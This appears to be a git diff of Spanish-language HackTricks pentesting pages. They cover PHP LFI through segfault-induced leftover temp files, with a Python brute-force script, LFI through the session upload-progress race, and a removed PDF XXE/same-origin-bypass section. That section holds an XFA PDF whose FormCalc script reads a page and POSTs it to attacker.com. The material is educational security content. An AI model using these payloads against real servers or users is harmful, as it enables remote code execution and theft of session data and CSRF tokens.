* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Según los informes [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) y [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), las siguientes cargas útiles causaron una violación de segmentación en PHP:
|
||||
Según los writeups [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (segunda parte) y [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), los siguientes payloads causaron un fallo de segmentación en PHP:
|
||||
```php
|
||||
// PHP 7.0
|
||||
include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||
|
@ -20,11 +21,11 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
|||
// PHP 7.2
|
||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||
```
|
||||
Debes saber que si **envías** una solicitud **POST** que **contiene** un **archivo**, PHP creará un **archivo temporal en `/tmp/php<algo>`** con el contenido de ese archivo. Este archivo se **eliminará automáticamente** una vez que se procese la solicitud.
|
||||
Deberías saber que si **envías** una solicitud **POST** **conteniendo** un **archivo**, PHP creará un **archivo temporal en `/tmp/php<algo>`** con el contenido de ese archivo. Este archivo será **eliminado automáticamente** una vez que la solicitud haya sido procesada.
|
||||
|
||||
Si encuentras una **LFI** y logras **provocar** una falla de segmentación en PHP, el **archivo temporal nunca se eliminará**. Por lo tanto, puedes **buscarlo** con la vulnerabilidad de **LFI** hasta que lo encuentres y ejecutar código arbitrario.
|
||||
Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscarlo** con la vulnerabilidad **LFI** hasta encontrarlo y ejecutar código arbitrario.
|
||||
|
||||
Puedes usar la imagen de Docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para realizar pruebas.
|
||||
Puedes usar la imagen de docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para pruebas.
|
||||
```python
|
||||
# upload file with segmentation fault
|
||||
import requests
|
||||
|
@ -46,35 +47,37 @@ base_url = "http://%s:%d" % (host, port)
|
|||
|
||||
|
||||
def bruteforce(charset):
|
||||
for i in charset:
|
||||
for j in charset:
|
||||
for k in charset:
|
||||
for l in charset:
|
||||
for m in charset:
|
||||
for n in charset:
|
||||
filename = prefix + i + j + k
|
||||
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
||||
print url
|
||||
response = requests.get(url)
|
||||
if 'spyd3r' in response.content:
|
||||
print "[+] Include success!"
|
||||
return True
|
||||
for i in charset:
|
||||
for j in charset:
|
||||
for k in charset:
|
||||
for l in charset:
|
||||
for m in charset:
|
||||
for n in charset:
|
||||
filename = prefix + i + j + k
|
||||
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
|
||||
print url
|
||||
response = requests.get(url)
|
||||
if 'spyd3r' in response.content:
|
||||
print "[+] Include success!"
|
||||
return True
|
||||
|
||||
|
||||
def main():
|
||||
bruteforce(charset)
|
||||
bruteforce(charset)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
main()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,20 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
### Información Básica
|
||||
|
||||
### Información básica
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Locales** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si **`session.upload_progress.enabled`** está **`On`** y proporcionas **`PHP_SESSION_UPLOAD_PROGRESS`** en los datos **multipart POST**, PHP **habilitará la sesión para ti**.
|
||||
Si encontraste una **Inclusión de Archivo Local** incluso si **no tienes una sesión** y `session.auto_start` está en `Off`. Si **`session.upload_progress.enabled`** está en **`On`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **activará la sesión por ti**.
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
|
@ -28,31 +29,33 @@ $ ls -a /var/lib/php/sessions/
|
|||
|
||||
In the last example the session will contain the string blahblahblah
|
||||
```
|
||||
Ten en cuenta que con **`PHP_SESSION_UPLOAD_PROGRESS`** puedes **controlar los datos dentro de la sesión**, por lo que si incluyes tu archivo de sesión, puedes incluir una parte que controles (como un shellcode de PHP, por ejemplo).
|
||||
Tenga en cuenta que con **`PHP_SESSION_UPLOAD_PROGRESS`** puede **controlar datos dentro de la sesión**, por lo que si incluye su archivo de sesión, puede incluir una parte que controla (un shellcode de php, por ejemplo).
|
||||
|
||||
{% hint style="info" %}
|
||||
Aunque la mayoría de los tutoriales en Internet recomiendan establecer `session.upload_progress.cleanup` en `Off` con fines de depuración, la configuración predeterminada de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión se limpiará lo antes posible. Por lo tanto, esto será una **condición de carrera**.
|
||||
Aunque la mayoría de los tutoriales en Internet le recomiendan que configure `session.upload_progress.cleanup` en `Off` para propósitos de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que su progreso de carga en la sesión se limpiará lo antes posible. Por lo tanto, esto será **Condición de Carrera**.
|
||||
{% endhint %}
|
||||
|
||||
### El CTF
|
||||
|
||||
En el [**CTF original**](https://blog.orange.tw/2018/10/) donde se comenta esta técnica, no fue suficiente explotar la condición de carrera, sino que el contenido cargado también necesitaba comenzar con la cadena `@<?php`.
|
||||
En el [**CTF original**](https://blog.orange.tw/2018/10/) donde se comenta esta técnica, no fue suficiente para explotar la Condición de Carrera, pero el contenido cargado también necesitaba comenzar con la cadena `@<?php`.
|
||||
|
||||
Debido a la configuración predeterminada de `session.upload_progress.prefix`, nuestro **archivo de SESIÓN comenzará con un prefijo molesto** `upload_progress_`. Por ejemplo: `upload_progress_controlledcontentbyattacker`
|
||||
Debido a la configuración predeterminada de `session.upload_progress.prefix`, nuestro **archivo SESSION comenzará con un prefijo molesto** `upload_progress_` Como: `upload_progress_contenidocontroladoporelatacante`
|
||||
|
||||
El truco para **eliminar el prefijo inicial** fue **codificar en base64 la carga útil 3 veces** y luego decodificarla mediante filtros `convert.base64-decode`, esto se debe a que cuando **decodificas en base64, PHP eliminará los caracteres extraños**, por lo que después de 3 veces solo la **carga útil enviada** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
|
||||
El truco para **eliminar el prefijo inicial** fue **codificar en base64 el payload 3 veces** y luego decodificarlo a través de los filtros `convert.base64-decode`, esto se debe a que al **decodificar base64 PHP eliminará los caracteres extraños**, por lo que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
|
||||
|
||||
Más información en el informe original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) y en la explotación final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||
Otro informe en [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
Más información en el artículo original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) y el exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||
Otro artículo en [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenga el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,137 +1,27 @@
|
|||
# Carga de PDF - Bypass de XXE y CORS
|
||||
# Carga de PDF - XXE y bypass de CORS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
#### Contenido copiado de [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)
|
||||
**Revisa [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
|
||||
|
||||
### La función Javascript en Reader se puede utilizar para leer datos de entidades externas (CVE-2014-8452)
|
||||
<details>
|
||||
|
||||
Estado: Solucionado\
|
||||
Realidad: No solucionado\
|
||||
\
|
||||
Este se trata de un simple XXE que descubrí.\
|
||||
Leí el artículo "Polyglots: Crossing Origins by Crossing Formats", donde se discutió una vulnerabilidad en\
|
||||
XMLData.parse. Era posible utilizar entidades externas y hacer referencia a ellas.\
|
||||
Leí la especificación y resulta que hay más funciones que "parse" para leer XML.\
|
||||
Creé un archivo xml simple, que hace referencia a una URL del mismo dominio y lo analicé con loadXML.\
|
||||
Funcionó:
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
![](https://4.bp.blogspot.com/-is4Q5hSZk-Y/VIwdzdAckWI/AAAAAAAAACI/OAzBs9Q-T50/s1600/xxe.png)
|
||||
```
|
||||
7 0 obj
|
||||
<<
|
||||
/Type /Action
|
||||
/S /JavaScript
|
||||
/JS (
|
||||
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
|
||||
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
|
||||
xml = XMLData.parse(cXMLDoc,false);
|
||||
xml.loadXML(cXMLDoc2,false,true);
|
||||
)
|
||||
>>
|
||||
endobj
|
||||
```
|
||||
El impacto es limitado porque\
|
||||
o) está limitado al mismo origen\
|
||||
o) las páginas HTML rompen el XML\
|
||||
o) las entidades dinámicas no son compatibles\
|
||||
o) Tuve la idea de usar un XML utf-16 para evitar romper la estructura XML, pero no funcionó.\
|
||||
\
|
||||
Pero aún se puede usar para leer JSON.
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
### Bypass de política de mismo origen en Reader (CVE-2014-8453)
|
||||
|
||||
Estado: solucionado\
|
||||
Realidad: ¡solucionado pero aún vulnerable al mismo origen!\
|
||||
\
|
||||
En mi opinión, esta es la vulnerabilidad más poderosa. Incluso sin el Bypass de Origen, te muestra\
|
||||
lo poderoso/aterrador que puede ser un PDF.\
|
||||
Muchas personas saben que PDF admite un lenguaje de script llamado Javascript, pero hay otro.\
|
||||
Se menciona en la especificación de XFA, un tipo de archivo también admitido por el lector de Adobe.\
|
||||
Se llama formcalc y no es tan poderoso. Se utiliza para cálculos matemáticos simples. Pero en la especificación de Adobe\
|
||||
hay tres funciones adicionales: 'GET', 'POST' y 'PUT'. Sí, sus nombres hablan por sí mismos.\
|
||||
'GET' tiene un parámetro: una URL. Utilizará el navegador (SÍ, COOKIES) para recuperar la URL y devolver el contenido de la misma.\
|
||||
Luego podemos usar 'POST' para enviar el contenido devuelto a nuestro propio servidor:\
|
||||
\
|
||||
var content = GET("misamigos.php");\
|
||||
Post("http://atacante.com", contenido);\
|
||||
\
|
||||
Estas funciones son del mismo origen, por lo que un sitio web debe permitirnos cargar un PDF. Eso no es tan irrealista para\
|
||||
la mayoría de los sitios web. Atacante.com no es del mismo origen, por lo que necesitas configurar un crossdomain.xml, como es habitual en los productos de Adobe.\
|
||||
\
|
||||
En resumen: esto no es un error, es una característica. Tan pronto como se te permita cargar un PDF en un sitio web,\
|
||||
puedes acceder al sitio web en el contexto del usuario que está viendo el PDF. Debido a que las solicitudes son emitidas\
|
||||
por el navegador, las cookies también se envían. También puedes usarlo para romper cualquier protección CSRF leyendo los tokens.
|
||||
```
|
||||
% a PDF file using an XFA
|
||||
% most whitespace can be removed (truncated to 570 bytes or so...)
|
||||
% Ange Albertini BSD Licence 2012
|
||||
|
||||
% modified by insertscript
|
||||
|
||||
%PDF-1. % can be truncated to %PDF-\0
|
||||
|
||||
1 0 obj <<>>
|
||||
stream
|
||||
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
|
||||
<config><present><pdf>
|
||||
<interactive>1</interactive>
|
||||
</pdf></present></config>
|
||||
<template>
|
||||
<subform name="_">
|
||||
<pageSet/>
|
||||
<field id="Hello World!">
|
||||
<event activity="initialize">
|
||||
<script contentType='application/x-formcalc'>
|
||||
var content = GET("myfriends.php");
|
||||
Post("http://attacker.com",content);
|
||||
</script>
|
||||
</event>
|
||||
</field>
|
||||
</subform>
|
||||
</template>
|
||||
</xdp:xdp>
|
||||
endstream
|
||||
endobj
|
||||
|
||||
trailer <<
|
||||
/Root <<
|
||||
/AcroForm <<
|
||||
/Fields [<<
|
||||
/T (0)
|
||||
/Kids [<<
|
||||
/Subtype /Widget
|
||||
/Rect []
|
||||
/T ()
|
||||
/FT /Btn
|
||||
>>]
|
||||
>>]
|
||||
/XFA 1 0 R
|
||||
>>
|
||||
/Pages <<>>
|
||||
>>
|
||||
>>
|
||||
```
|
||||
Después de encontrar estas funciones, encontré un bypass de política de misma origen. Esto hace posible utilizar el navegador de la víctima como proxy (@beef todavía está trabajando en el módulo^^).
|
||||
|
||||
El bypass es realmente simple:
|
||||
|
||||
1. El usuario A carga evil.pdf desde http://attacker.com/evil.pdf
|
||||
2. Evil.pdf utiliza formcalc GET para leer http://attacker.com/redirect.php
|
||||
3. redirect.php redirige con 301 a http://facebook.com
|
||||
4. Adobe reader seguirá y leerá la respuesta sin buscar un crossdomain.xml.
|
||||
5. evil.pdf envía el contenido recuperado vía POST a http://attacker.com/log.php
|
||||
|
||||
Tenga en cuenta que utilizando esta técnica se pueden robar los tokens CRSF de una página y abusar de las vulnerabilidades CSRF.
|
||||
|
||||
Este simple bypass está arreglado ahora. Espero que implementen una advertencia de diálogo para solicitudes de misma origen también.
|
||||
</details>
|
||||
|
|
|
@ -1,251 +1,244 @@
|
|||
# Smuggling de solicitudes HTTP del navegador
|
||||
# Browser HTTP Request Smuggling
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
